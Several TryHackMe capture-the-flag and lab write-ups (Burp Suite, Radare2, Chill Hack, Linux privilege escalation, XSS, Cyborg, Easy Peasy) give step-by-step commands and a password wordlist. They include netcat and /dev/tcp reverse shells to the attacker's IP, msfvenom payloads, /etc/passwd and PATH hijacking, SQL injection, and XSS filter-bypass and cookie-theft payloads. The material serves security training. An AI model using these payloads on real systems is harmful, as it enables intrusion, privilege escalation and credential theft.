- This option is included as it can be incredibly useful to create a custom configuration file for your proxy or other settings, especially depending on how your network configuration and/or if Burp Suite is being launched remotely such as via x11 forwarding.

	  no answer needed

- Finally, let's go ahead and Start Burp! Click 'Start Burp' now!

	  no answer needed

- Since we now have Burp Suite running, the proxy service will have started by default with it. In order to fully leverage this proxy, we'll have to install the CA certificate included with Burp Suite (otherwise we won't be able to load anything with SSL). To do this, let's launch Firefox now!

	  no answer needed

- Go ahead and install this now!

	  no answer needed

- Next, we'll move onto adding the certificate for Burp!

	  no answer needed

- With Firefox, navigate to the following address: http://localhost:8080

	  no answer needed

- Click on 'CA Certificate' in the top right to download and save the CA Certificate.

	  no answer needed

- Click on 'View Certificates'

	  no answer needed

- Next, in the Authorities tab click on 'Import'

	  no answer needed

- Navigate to where you saved the CA Certificate we downloaded previously. Click 'OK' once you've selected this certificate.

	  no answer needed

- Select 'OK' once you've done this. Congrats, we've now installed the Burp Suite CA Certificate!

	  no answer needed

- Which tool in Burp Suite can we use to perform a 'diff' on responses and other pieces of data?

	- `Comparer`

- What tool could we use to analyze randomness in different pieces of data such as password reset tokens?

	- `Sequencer`

- Which tool can we use to set the scope of our project?

	- `Target`

- While only available in the premium versions of Burp Suite, which tool can we use to automatically identify different vulnerabilities in the application we are examining?

	- `Scanner`

- Encoding or decoding data can be particularly useful when examining URL parameters or protections on a form, which tool allows us to do just that?

	- `Decoder`

- Which tool allows us to redirect our web traffic into Burp for further examination?

	- `Proxy`

- Simple in concept but powerful in execution, which tool allows us to reissue requests?

	- `Repeater`

- With four modes, which tool in Burp can we use for a variety of purposes such as field fuzzing?

	- `Intruder`

- Last but certainly not least, which tool allows us to modify Burp Suite via the addition of extensions?

	- `Extender`

- With Burp Suite launched, let's first navigate to the 'User options' tab.

	  no answer needed

- Next, click on the 'Display' sub-tab.

	  no answer needed

- Now, click on the 'Look and feel' drop-down menu. Select 'Darcula'.

	  no answer needed

- Finally, close and relaunch Burp Suite to have dark theme (or whichever theme you picked) take effect.

	  no answer needed

- Deploy the VM attached to this task!

	  no answer needed

- By default, the Burp Suite proxy listens on only one interface. What is it? Use the format of IP:PORT

	- `127.0.0.1:8080`

- In Burp Suite, navigate to the Intercept sub-tab of the Proxy section. Enable Intercept

	  no answer needed

- Take a look at the actions, which shortcut allows us to forward the request to Repeater?

	- `CRTL-r`

- How about if we wanted to forward our request to Intruder?

	- `CTRL-i`

- What is the name of the first section wherein general web requests (GET/POST) are saved?

	- `http history`

- what is the name of the second section of our saved history in Burp Suite?

	- `websockets history`

- Here we can apply further fine-grained rules to define which requests we would like to intercept. Perhaps the most useful out of the default rules is our only AND rule. What is it's match type?

	- `url`

- How about it's 'Relationship'?

	- `is in target scope`

- Before leaving the Proxy tab, switch Intercept to disabled. We'll still see the pages we navigate to in our history and the target tab, just having Intercept constantly stopping our requests for this next bit will get old fast.

	  no answer needed

- Navigate to the Target tab in Burp. In our last task, Proxy, we browsed to the website on our target machine (in this case OWASP Juice Shop). Find our target site in this list and right-click on it. Select 'Add to scope'.

	  no answer needed

- Clicking 'Add to scope' will trigger a pop-up. This will stop Burp from sending out-of-scope items to our site map.

	  no answer needed

- Select 'Yes' to close the popup.

	  no answer needed

- What do we call this representation of the collective web application?

	- `site map`

- What is the term for browsing the application as a normal user prior to examining it further?

	- `happy path`

- One last thing before moving on. Within the target tab, you may have noticed a sub-tab for issue definitions. Click into that now.

	  no answer needed

- Which poisoning issue arises when an application behind a cache process input that is not included in the cache key?

	- `web cache poisoning`

- To start, click 'Account' (this might be 'Login' depending on the version of Juice Shop) in the top right corner of Juice Shop in order to navigate to the login page.

	  no answer needed

- Try logging in with invalid credentials. What error is generated when login fails?

	- `Invalid email or password.`

- But wait, didn't we want to send that request to Repeater? Even though we didn't send it to Repeater initially via intercept, we can still find the request in our history. Switch over to the HTTP sub-tab of Proxy. Look through these requests until you find our failed login attempt. Right-click on this request and send it to Repeater and then send it to Intruder, too!

	  no answer needed

- Now that we've sent the request to Repeater, let's try adjusting the request such that we are sending a single quote (') as both the email and password. What error is generated from this request?

	- `SQLITE_ERROR`

- Now that we've leveraged Repeater to gain proof of concept that Juice Shop's login is vulnerable to SQLi, let's try something a little more mischievous and attempt to leave a devastating zero-star review. First, click on the drawer button in the top-left of the application. If this isn't present for you, just skip to the next question.

	  no answer needed

- Next, click on 'Customer Feedback' (depending on the version of Juice Shop this also might be along the top of the page next to 'Login' under 'Contact Us')

	  no answer needed

- With the Burp proxy on submit feedback. Once this is done, find the POST request in your HTTP History in Burp and send it to Repeater.

	  no answer needed

- What field do we have to modify in order to submit a zero-star review?

	- `rating`

- Submit a zero-star review and complete this challenge in Juice Shop!

	  no answer needed

- Which attack type allows us to select multiple payload sets (one per position) and iterate through them simultaneously?

	- `pitchfork`

- How about the attack type which allows us to use one payload set in every single position we've selected simultaneously?

	- `Battering ram`

- Which attack type allows us to select multiple payload sets (one per position) and iterate through all possible combinations?

	- `cluster bomb`

- Perhaps the most commonly used, which attack type allows us to cycle through our payload set, putting the next available payload in each position in turn?

	- `sniper`

- Download the wordlist attached to this room, this is a shortened version of the fuzzdb SQLi platform detection list.

	  no answer needed

- Return to the Intruder in Burp. In our previous task, we passed our failed login attempt to both Repeater and Intruder for further examination. Open up the Positions sub-tab in the Intruder tab with this request now and verify that 'Sniper' is selected as our attack type.

	  no answer needed

- Burp attempts to automatically highlight possible fields of interest for Intruder, however, it doesn't have it quite right for what we'll be looking at in this instance. Hit 'Clear' on the right-hand side to clear all selected fields.

	  no answer needed

- Next, let's highlight the email field between the double quotes ("). This will be whatever you entered in the email field for our previous failed login attempt.

	  no answer needed

- Now click 'Add' to select our email field as a position for our payloads.

	  no answer needed

- Next, let's switch to the payloads sub-tab of Intruder. Once there, hit 'Load' and select the wordlist you previously downloaded in question five that is attached to this task.

	  no answer needed

- Almost there! Scroll down and uncheck 'URL-encode these characters'. We don't want to have the characters sent in our payloads to be encoded as they otherwise won't be recognized by SQL.

	  no answer needed

- Finally, click 'Start attack'. What is the first payload that returns a 200 status code, showing that we have successfully bypassed authentication?


	- `** ** *****`

- Switch over to the HTTP history sub-tab of Proxy. 

	  no answer needed

- We're going to dig for a response which issues a cookie. Parse through the various responses we've received from Juice Shop until you find one that includes a 'Set-Cookie' header. 

	  no answer needed

- Once you've found a request response that issues a cookie, right-click on the request and select 'Send to Sequencer'.

	  no answer needed

- Change over Sequencer and select 'Start live capture'

	  no answer needed

- Let Sequencer run and collect ~10,000 requests. Once it hits roughly that amount hit 'Pause' and then 'Analyze now'

	  no answer needed

- Parse through the results. What is the effective estimated entropy measured in?

	- `bits`

- In order to find the usable bits of entropy we often have to make some adjustments to have a normalized dataset. What item is converted in this process?

	- `token`

- Read through the remaining results of the token analysis

	  no answer needed

- Let's first take a look at decoder by revisiting an old friend. Previously we discovered the scoreboard within the site JavaScript. Return to our target tab and find the API endpoint highlighted in the following request.

	  no answer needed

- Copy the first line of that request and paste it into Decoder. Next, select 'Decode as ...' URL

	  no answer needed

- What character does the %20 in the request we copied into Decoder decode as?

	- `space`

- Similar to CyberChef, Decoder also has a 'Magic' mode where it will automatically attempt to decode the input it is provided. What is this mode called? 

	- `smart decode`

- What can we load into Comparer to see differences in what various user roles can access? This is very useful to check for access control issues.

	- `site maps`

- Comparer can perform a diff against two different metrics, which one allows us to examine the data loaded in as-is rather than breaking it down into bytes?

	- `words`

- To start, let's go ahead and switch over to the Options sub-tab of the Extender tab. 

	  no answer needed

- Scroll down until you reach the 'Python Environment' section. Note, Burp requires the standalone edition of Jython.

	  no answer needed

- Download the standalone version of Jython from here: [Link](https://www.jython.org/download.html) - I suggest saving this or moving it to your Documents folder

	  no answer needed

- Return back to Burp and hit 'Select file' under the Python Environment subsection for Jython standalone. Navigate to where you just downloaded this file and select it.

	  no answer needed

- Burp is now set to go for installing extensions. Switch to the BApp Store sub-tab of Extender and look through the various extensions offered.

	  no answer needed

- Which extension allows us too bookmark various requests?

	- `bookmarks`

- Download the report attached to this task. What is the only critical issue?

	- `Cross-origin resource sharing: arbitrary origin trusted`

- How many 'Certain' low issues did Burp find?

	- `12`

- Check out the provided links and keep learning!

	  no answer needed





================================================
FILE: CC:-Radare2/README.md
================================================
# CC: Radare2

- Read the above 

	  no answer needed

- What flag you set to analyze the binary upon entering the r2 console (equivalent to running aaa once your inside the console)

	- `-a`

- How do you enable the debugger?

	- `-d`

- How do you open the file in write mode?

	- `-w`

- How do you enter the console without opening a file

	- `-`

- What command "Analyzes Everything" (all functions and their arguments: Same as running with radare with -A)

	- `aaa`

- What command does basic analysis on functions?

	- `af`

- How do you list all functions?

	- `afl`

- How many functions are in the example1 binary?

	- `r2 -d example1`
	- `aaa`
	- `afl`
	- `12`

- What is the name of the secret function in the example1 binary?

	- `secret_func`

- What command shows all the information about the file that you're in?

	- `iA`

- How do you get every string that is present in the binary?

	- `izz`

- What if you want the address of the main function?

	- `iM`

- What character do you add to the end of every command to get the output in JSON format?

	- `j`

- How do you get the entrypoint of the file?

	- `ie`

- What is the secret string hidden in the example2 binary?

	- `r2 -d example2`
	- `aaa`
	- `izz`
	- `*******`

- How do you print out the the current memory address your located at in the binary?

	- `s`

- What command do you use to go to a specific point in memory with the syntax `<command> <address>`?

	- `s`

- What command would you run to go 5 bytes forward?

	- `s+ 5`

- What about 12 bytes backward?

	- `s- 12`

- How do you undo the previous seek?

	- `s-`

- How would go to the memory address of the main function?

	- `s main`

- What if you wanted to go to the address of the rax register?

	- `sr rax`

- Play around with the s command in the example1 and example2 binaries

	  no answer needed

- How would you print the hex output of where you currently are in memory?

	- `px`

- How would you print the disassembly of where you're currently at in memory?

	- `pd`

- What if you wanted the disassembly of the main function?

	- `pd f main`

- What command prints out the emoji hexdump? (this is not useful at all I just find it funny)

	- `pxe`

- What if you decided you were too good for rows and you wanted the disassembly in column format?

	- `pc`

- What is the value of the first variable in the main function for the example 3 binary?

	- `r2 -d example3`
	- `aaa`
	- `pdf @ main`
	- `1`

- What about the second variable?

	- `5`

- How many functions are in the binary?

	- `r2 -d midterm`
	- `aaa`
	- `afl`
	- `13`

- What is the value of the hidden string?

	- `izz`
	- `you*******me`

- What is the return value of `secret_func()`?

	- `pdf @ sym.secret_func`
	- `4`

- What is the value of the first variable set in the main function(in decimal format)?

	- `pdf @ main`
	- `12`

- What about the second one(also in decimal format)?

	- `192`

- What is the next function in memory after the main function?

	- `afl`
	- `*******_func`

- How do you get a hexdump of four bytes of the memory address your currently at?

	- `px 2`

- How do you set a breakpoint?

	- `db`

- What command is used to print out the values of all the registers?

	- `dr`

- How do you run through the program until the program either ends or you hit the next breakpoint?

	- `dc`

- What if you want to step through the binary one line at a time?

	- `ds`

- How do you go forth 2 lines in the binary?

	- `ds 2`

- How do you list out the indexes and memory addresses of all breakpoints?

	- `dbi`

- Go back through all previous binaries and mess around with debug mode.

	  no answer needed

- How do you enter "graph mode" which allows everything to be organized in nice readable boxes?(A personal favorite of mine. Also note that the second character is uppercase)

	- `vV`

- What character do you press to run normal radare commands inside visual mode?

	- `:`

- How do you go back to the regular radare shell(leaving visual mode)?

	- `q`

- What if you want to step through the binary inside Visual mode?

	- `s`

- How do you add a comment?

	- `;`

- Look through any of the binaries in Visual Mode and see just how much more beautiful everything looks.

	no answer needed

- How do you write a string to the current memory address.

	- `w`

- What command lists all write changes?

	- `wc`

- What command modifies an instruction at the current memory address?

	- `wa`

- Get the example4 binary to show the You win! message

	  no answer needed

- What is the password that outputs the you win! message?

	- `r2 -d the_final_exam`
	- `aaa`
	- `afl`
	- `pdf @ main`
	- `pdf @ sym.get_password`
	- `db 0x5635b2cf682f`
	- `dc`
	- `edordottt`
	- `dr`
	- `s 0xffffffffffffffda`
	- `px 10`
	- `onykbnyddd`
	- So it's ROT-10
	- `********`





================================================
FILE: CTF-collection-Vol.1/README.md
================================================
# CTF collection Vol.1

- High five!

	  no answer needed

- Feed me the flag!

	- `echo "VEhNe2p1NTdfZDNjMGQzXzdoM19iNDUzfQ==" | base64 -d`
	- `THM{********************}`

- I'm hungry, I need the flag.

	- `exiftool Findme.jpg`
	- `THM{************}`

- It is sad. Feed me the flag.

	- `steghide info Extinction.jpg` and then `y`
	- `steghide extract -sf Extinction.jpg` and then enter (without passphrase)
	- `cat Final_messge.txt`
	- `THM{********************************}`

- Did you find the flag?

	- Highlight the text or check the page source code.
	- `THM{**********}`

- More flag please!

	- Download the image and check the QR code.
	- `THM{*****************}`

- Found the flag?

	- `strings hello.hello | grep THM`
	- `THM{******************}`

- Oh, Oh, Did you get it?

	- Visit [CyberChef](https://gchq.github.io/CyberChef)
	- Recipe from Base58
	- `THM{*********************}`

- What did you get?

	- Caesar Cipher (19)
	- `THM{***************}`

- I'm hungry now... I need the flag

	- Check the HTML source code
	- `THM{***********************}`

- What is the content?

	- `xxd --plain spoil.png > hex.txt`
	- Replace the first 8 characters with `89504E47`
	- Go to Cyberchef and the recipe is `From Hex` and then `Render Image`.
	- `THM{**********}`

- Did you found the hidden flag?

	- Just search `Tryhackme reddit`
	- `THM{********************************}`

- Can you decode it?

	- Search on Google for BinaryFuck Interpreter
	- `THM{**********}`

- Did you crack it? Feed me now!

	- [XOR Calculator](http://xor.pw/#) and output as ASCII.
	- `THM{************}`

- Flag! Flag! Flag!

	- `binwalk hell.jpg -e`
	- `cd _hell.jpg.extracted`
	- `cat hello_there.txt`
	- `THM{****************}`

- What does the flag said?

	- `wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar
chmod +x stegsolve.jar`
	- `./stegsolve.jar`
	- Open the dark.png file and try to see the flag with the arrows.
	- `THM{**********************}`

- What does the bot said?

	- Follow the link on the QR code and play the track.
	- `THM{**********}`

- Did you found my past?

	- Use wayback (https://web.archive.org/web/20200102131252/https://www.embeddedhacker.com/)
	- Load the snapshot on Jan 2, 2020.
	- Search for string `THM{` on the page.
	- `THM{******************}`

- The deciphered text

	- Input `MYKAHODTQ{RVG_YVGGK_FAL_WXF}` in [CyberChef](https://gchq.github.io/CyberChef/) with recipe Vigenere Decode and key=TRYHACKME.
	- Output is `THMTHMTHM{*****************}`
	- Change the key to `THMTHMTHM`
	- `TRYHACKME{*****************}`

- What is the flag?

	- `python3`
	- `n = 581695969015253365094191591547859387620042736036246486373595515576333693`
	- `h = hex(n)[2:]`
	- `bytearray.fromhex(h).decode()`
	- `THM{***********************}`

- Did you captured my neighbor's flag?

	- Open the file with Wireshark.
	- `THM{****************}`






================================================
FILE: Chill-Hack/README.md
================================================
# Chill Hack

- User Flag

	- `scilla port -target <TARGET_IP> -p -1000`
	- `ftp <TARGET_IP>`
	- `anonymous`, no password
	- `get note.txt`
	- `scilla dir -target <TARGET_IP>`
	- secret directory found.
	- Execute `cat /etc/passwd`. ahahhahahahahahahhaa.
	- So, execute `cat</etc/passwd`
	- `nc -lnvp 1234`
	- `r"m" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 1234 >/tmp/f`
	- Cool.
	- `python3 -c 'import pty;pty.spawn("/bin/bash")'`
	- `cd /home`
	- `sudo -l`
	- `cd apaar`
	- `sudo -u apaar /home/apaar/.helpline.sh`
	- `/bin/sh` and `/bin/sh`
	- `id`
	- `cat local.txt`
	- `{USER-FLAG: *********************************}`

- Root Flag

	- `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`
	- `python3 -m http.server`
	- On target `curl <YOUR_IP>:8000/LinEnum.sh > linenum.sh`
	- `chmod +x linenum.sh`
	- `./linenum.sh`
	~~~
	[-] Listening TCP:
	Active Internet connections (only servers)
	Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
	tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
	tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
	tcp        0      0 127.0.0.1:9001          0.0.0.0:*               LISTEN      -                   
	tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
	~~~
	- On your machine `ssh-keygen`
	- `cd ~/.ssh`
	- `python3 -m http.server`
	- On target `curl <YOUR_IP>:8000/id_rsa.pub > ~/.ssh/authorized_keys`
	- `chmod 600 id_rsa`
	- `ssh -L 9001:127.0.0.1:9001 -i id_rsa apaar@<TARGET_IP>`
	- `cat /var/www/files/index.php`
	- Found username and password for MySQL database.
	- `mysql -u root -p` and enter the password found.
	- `show databases;`
	- `use webportal;`
	- `show tables;`
	- `select * from users;`
	- Save those two hashes
	- `john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt`
	- Login into the website at localhost:9001
	- Download the image and execute `steghide extract -sf hacker-with-laptop_23-2147985341.jpg`
	- `fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip`
	- Inspect `source_code.php`
	- `echo ******************** | base64 -d`
	- `su anurodh` and enter password
	- `docker images`
	- `docker run -v /root:/mnt -it alpine`
	- `cat /mnt/proof.txt`
	- `{ROOT-FLAG: ********************************}`







================================================
FILE: Common-Linux-Privesc/README.md
================================================
# Common Linux Privesc

- Deploy the machine

	  no answer needed

- Read the information about privilege escalation

	  no answer needed

- Understand the difference between Horizontal and Vertical privilege escalation.

	  no answer needed

- First, lets SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.

	- `ssh user3@<TARGET_IP>`, `yes` and insert password.
	- On your machine `wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`
	- On your machine `sudo python3 -m http.server`
	- On target `wget http://<YOUR_IP>:8000/LinEnum.sh`
	- `chmod +x LinEnum.sh`
	- `./LinEnum.sh`

- What is the target's hostname?

	- `polobox`

- Look at the output of /etc/passwd how many "user[x]" are there on the system?

	- `8`

- How many available shells are there on the system?

	- `4`

- What is the name of the bash script that is set to run every 5 minutes by cron?

	- `autoscript.sh`

- What critical file has had its permissions changed to allow some users to write to it?

	- `/etc/passwd`

- Well done! Bear the results of the enumeration stage in mind as we continue to exploit the system!

	  no answer needed

- What is the path of the file in user3's directory that stands out to you?

	- `/home/user3/shell`

- We know that "shell" is an SUID bit file, therefore running it will run the script as a root user! Lets run it! We can do this by running: "./shell"

	  no answer needed

- Congratulations! You should now have a shell as root user, well done!

	  no answer needed

- First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user7, with the password "password"

	  no answer needed

- Having read the information above, what direction privilege escalation is this attack?

	- `vertical`

- Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: "openssl passwd -1 -salt [salt] [password]" What is the hash created by using this command with the salt, "new" and the password "123"?

	- `***********************`

- Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username "new" and the password hash we created before?

	- Read the hint
	- `*************************************************`

- Great! Now you've got everything you need. Just add that entry to the end of the /etc/passwd file!

	  no answer needed

- Now, use "su" to login as the "new" account, and then enter the password. If you've done everything correctly- you should be greeted by a root prompt! Congratulations!

	  no answer needed

- First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user8, with the password "password"

	  no answer needed

- Let's use the "sudo -l" command, what does this user require (or not require) to run vi as root?

	- `NOPASSWD`

- So, all we need to do is open vi as root, by typing "sudo vi" into the terminal.

	  no answer needed

- Now, type ":!sh" to open a shell!

	  no answer needed

- First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user4, with the password "password"

	  no answer needed

- Now, on our host machine- let's create a payload for our cron exploit using msfvenom.

	  no answer needed

- What is the flag to specify a payload in msfvenom?

	- `-p`

- Create a payload using: `msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R`

	  no answer needed

- What directory is the "autoscript.sh" under?

	- `/home/user4/Desktop`

- Lets replace the contents of the file with our payload using: "echo [MSFVENOM OUTPUT] > autoscript.sh"

	  no answer needed

- After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: "nc -lvp 8888" and wait for our shell to land!

	  no answer needed

- After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations! 

	  no answer needed

- Going back to our local ssh session, not the netcat root session, you can close that now, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user5, with the password "password"

	  no answer needed

- Let's go to user5's home directory, and run the file "script". What command do we think that it's executing?

	- `ls`

- Now we know what command to imitate, let's change directory to "tmp".

	  no answer needed

- Now we're inside tmp, let's create an imitation executable. The format for what we want to do is: echo "[whatever command we want to run]" > [name of the executable we're imitating] What would the command look like to open a bash shell, writing to a file with the name of the executable we're imitating

	- `echo "/bin/bash" > ls`

- Great! Now we've made our imitation, we need to make it an executable. What command do we execute to do this?

	- `chmod +x ls`

- Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "export PATH=/tmp:$PATH". Note, this will cause you to open a bash prompt every time you use "ls". If you need to use "ls" before you finish the exploit, use "/bin/ls" where the real "ls" executable is. Once you've finished the exploit, you can exit out of root and use "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH" to reset the PATH variable back to default, letting you use "ls" again!

	  no answer needed

- Now, change directory back to user5's home directory.

	  no answer needed

- Now, run the "script" file again, you should be sent into a root bash prompt! Congratulations!

	  no answer needed

- Well done, you did it!

	  no answer needed






================================================
FILE: Cross-site-Scripting/README.md
================================================
# Cross-site Scripting

- Read the introduction.

	  no answer needed

- Deploy the machine and navigate to http://<TARGET_IP>

	  no answer needed

- The machine you deployed earlier will guide you though exploiting some cool vulnerabilities, stored XSS has to offer. There are hints for answering these questions on the machine.

	  no answer needed

- Add a comment and see if you can insert some of your own HTML.

	- `<p>comment</p>`
	- `HTML_****`

- Create an alert popup box appear on the page with your document cookies.

	- `<script>alert(document.cookie)</script>`
	- `W3LL_***********`

- Change "XSS Playground" to "I am a hacker" by adding comments and using Javascript.

	- ` <script>document.getElementById('thm-title').innerHTML="I am a hacker"</script>`
	- `websites****************************`

- Take over Jack's account by stealing his cookie, what was his cookie value?

	- `s%3Aat0YY*******************************************************`

- Post a comment as Jack.

	- `c00k***********`

- Craft a reflected XSS payload that will cause a popup saying "Hello"

	- `<script>alert("Hello")</script>`
	- `There**************************`

- Craft a reflected XSS payload that will cause a popup with your machines IP address.

	- `<script>alert(window.location.hostname)</script>`
	- `Ref***************`

- Look at the deployed machines DOM-Based XSS page source code, and figure out a way to exploit it by executing an alert with your cookies.

	- `test ' onmouseover="alert(document.cookie)"`
	- `Br******************`

- Create an onhover event on an image tag, that change the background color of the website to red.

	- `test " onhover="document.body.style.backgroundColor='red'`
	- `Jav**************`

- Understand the basic proof of concept script.

	  no answer needed

- Create your own version of an XSS keylogger and see it appear in the logs part of the site.

	  no answer needed

- Bypass the filter that removes any script tags.

	- `<img src="edoardottt" onerror=alert("Helloooo") />`
	- `3c3cf****************************`

- The word alert is filtered, bypass it.

	- The same but with `confirm`.
	- `a2e5e*****************************`

- The word hello is filtered, bypass it.

	- The same but with payload `Hi :)`.
	- `decb*****************************`

- Filtered in challenge 4 is as follows...

	- `<img src="edoardottt" ONERROR="alert('edoardottt')" />`
	- `2482d2****************************`

- Download and experiment with BeEF with the XSS playground.

	  no answer needed

- Take a look at XSS-Payloads.com, download one interesting looking payload and use it on the XSS playground.

	  no answer needed


================================================
FILE: Cyborg/README.md
================================================
# Cyborg

- Deploy the machine

	  no answer needed

- Scan the machine, how many ports are open?

	- `scilla port -target <TARGET_IP>`
	- `*`

- What service is running on port 22?

	- `ssh`

- What service is running on port 80?

	- `http`

- What is the user.txt flag?

	- Go to `<TARGET_IP>/etc`
	- And you find `http://<TARGET_IP>/etc/squid/passwd`
	- So you have found something like `username:password`.
	- `hash-identifier` and paste the password.
	- `echo password > hash`
	- `hashcat --force -m 1600 -a 0 hash /home/kali/rockyou.txt`
	- `ssh username@<TARGET_IP>` and enter the password.
	- It seems a password file...
	- `scilla dir -target <TARGET_IP>`
	- `/admin/` found!
	- Go to admin page and download the archive.tar file.
	- `tar -xvf archive.tar`
	- This is a [Borg](https://borgbackup.readthedocs.io/en/stable/) things.
	- Install borg.
	- `borg extract archive.tar::music_archive`
	- You found the ssh credentials.
	- `ssh ****@<TARGET_IP>` and enter the password.
	- `cat user.txt`
	- `flag{************************************}`

- What is the root.txt flag?

	- `sudo -l`
	- `cat /etc/mp3backups/backup.sh`
	- `sudo /etc/mp3backups/backup.sh -c "chmod +s /bin/bash"`
	- `bash -p`
	- `cat /root/root.txt`
	- `flag{***********************************}`


================================================
FILE: Easy-Peasy/README.md
================================================
# Easy Peasy

- How many ports are open?

	- `nmap <TARGET_IP>`
	- `3`

- What is the version of nginx?

	- `nmap -sV <TARGET_IP>`
	- `1.16.1`

- What is running on the highest port?

	- `apache`

- Using GoBuster, find flag 1.

	- `gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	- We find `/hidden`.
	- Go in depth. `gobuster dir -u http://<TARGET_IP>/hidden/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	- We find `/whatever`
	- Inspect page source.
	- `ZmxhZ3tmMXJzN19mbDRnfQ==`
	- `echo -n ZmxhZ3tmMXJzN19mbDRnfQ== | base64 -d`
	- `flag{f1rs7_fl4g}`

- Further enumerate the machine, what is flag 2?

	- I remember you there is another server public exposed. Go to `http://<TARGET_IP>:65524`.
	- With the same previous command of gobuster we can see there is a robots.txt file.
	- `a18672860d0510e5ab6699730763b250`
	- `hash-identifier`
	- Just search on google
	- `flag{1m_s3c0nd_fl4g}`

- Crack the hash with easypeasy.txt, What is the flag 3?

	- Inspect source code of default Apache page.
	- `flag{9fdafbd64c47471a8f54cd3fc64cd312}`

- What is the hidden directory?

	- Looking at the second server (apache) index page source code I found `its encoded with ba....:ObsJmP173N2X6dOrAgEAL0Vu`.
	- Play a bit with CyberChef.
	- `/n0th1ng3ls3m4tt3r` (base62).
	
- Using the wordlist that provided to you in this task crack the hash
what is the password?

	- Go to this directory with a browser and inspect source code.
	- `940d71e8655*********8ab85066**********418**********83e7f5fe6*d81`
	- `hash-identifier`
	- `john --wordlist=easypeasy.txt --format=gost hash.txt`
	- `mypass*************`

- What is the password to login to the machine via SSH?

	- Download the central image on the page (`http://<TARGET_IP>:65524/n0th1ng3ls3m4tt3r`)
	- `steghide extract -sf binarycodepixabay.jpg` and enter the password.
	- In the new file you will have a username and a binary password.
	- Just convert to text the binary code.
	- `***********************binary`

- What is the user flag?

	- Login into ssh (not port 22, remember the output of nmap).
	- `cat user.txt`
	- This isn't the real flag. Just use ROT13.
	- `flag{n0wi************}`

- What is the root flag?

	- Try to search something related to cronjob.
	- `cat /etc/crontab`
	- uuuuuuuuh `/var/www/.mysecretcronjob.sh`
	- This code will be executed as root, so:
	- Insert this on that file: `/bin/bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1`
	- On your machine `nc -lnvp 4444`
	- `cat /root/flag.txt` ......
	- wat?
	- oH. Ok. `cat /root/.root.txt`
	- `flag{63a**0e******05079**********1845}`







================================================
FILE: Easy-Peasy/easypeasy.txt
================================================
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
louise
orange
789456
999999
shorty
11111
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
000000
michelle
tigger
sunshine
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
000000
michelle
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
nicole
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
daniel
babygirl
monkey
lovely
jessica
654321
michael
ashley
qwerty
111111
iloveu
tigger
sunshine
chocolate
password1
soccer
anthony
paintball
love4u
lilone
kaycee
ethan1
beauty1
angelgirl
alegria
vladimir
tulips
pebbles1
mason
sweetiepie
summer07
snoopdogg
snickers1
raphael
panama
mummy
maryrose
jumong
111111
iloveu
000000
michelle
tigger
sunshine
chocolate
password1
soccer
anthony
fresa
energy
bacardi
yumyum
underground
shane1
olivia1
paintball
imcute
fresa
energy
bacardi
yumyum
underground
shane1
olivia1
navarro
brodie
bribri
anabel
12qwaszx
sexy11
pppppp
party
mario1
juicy
corazones
smarty
selina
ANDREA
7895123
654123
19871987
waters
vampires
password1
soccer
anthony
friends
butterfly
ANDREA
7895123
654123
19871987
waters
vampires
password1
soccer
anthony
friends
butterfly
mookie
fresita
leelee
tequieromucho
harry
giovanni
ranger
celticfc
tagged
snuggles
preston
newcastle
austin1
sniper
erica
stefan
ecuador
hotpink
soulmate
shutup
1qaz2wsx
taytay
sassy
iverson3
playboy1
lunita
honey1
951753
thomas1
bernard
peace
arthur
12345a
marlboro
merlin
southside
loser1
brandi
arlene
blueeyes
michel
rachelle
mackenzie
ernesto
champion
missy
mamapapa
fatboy
darius
282828
edgar
alexia
landon
nicola
99999
nancy
hermione
cosita
nissan
michele
starlight
unique
tiger1
rivera
morales
coolcat
steelers
judith
dimples
chocolate1
viviana
rodney
iluvu
maurice
katelyn
carrie
111222
gonzalez
softball1
random
kennedy
esperanza
pierre
moonlight
baby12
spirit
love22
nintendo
marlene
234567
shasha
snowflake
children
stanley
newlife
goober
doraemon
ingrid
father
77777
geraldine
dimple
dillon
romance
bunny
bhaby
winner
tweetybird
kathryn
paramore
allstar
abcde
something
runescape
jermaine
jefferson
pitbull
seventeen
romania
france
emotional
nigger
mariela
fucku
bitchy
ballin
loveless
smallville
ricky
peluche
godbless
blue123
alonso
meghan
garrett
mykids
mexico1
clover
vanesa
smudge
cooldude
chopper
cassidy
andreita
134679
cherries
070707
skippy
kaykay
domino
ximena
julie
goldie
daisy1
bella1
thailand
puppy
gladys
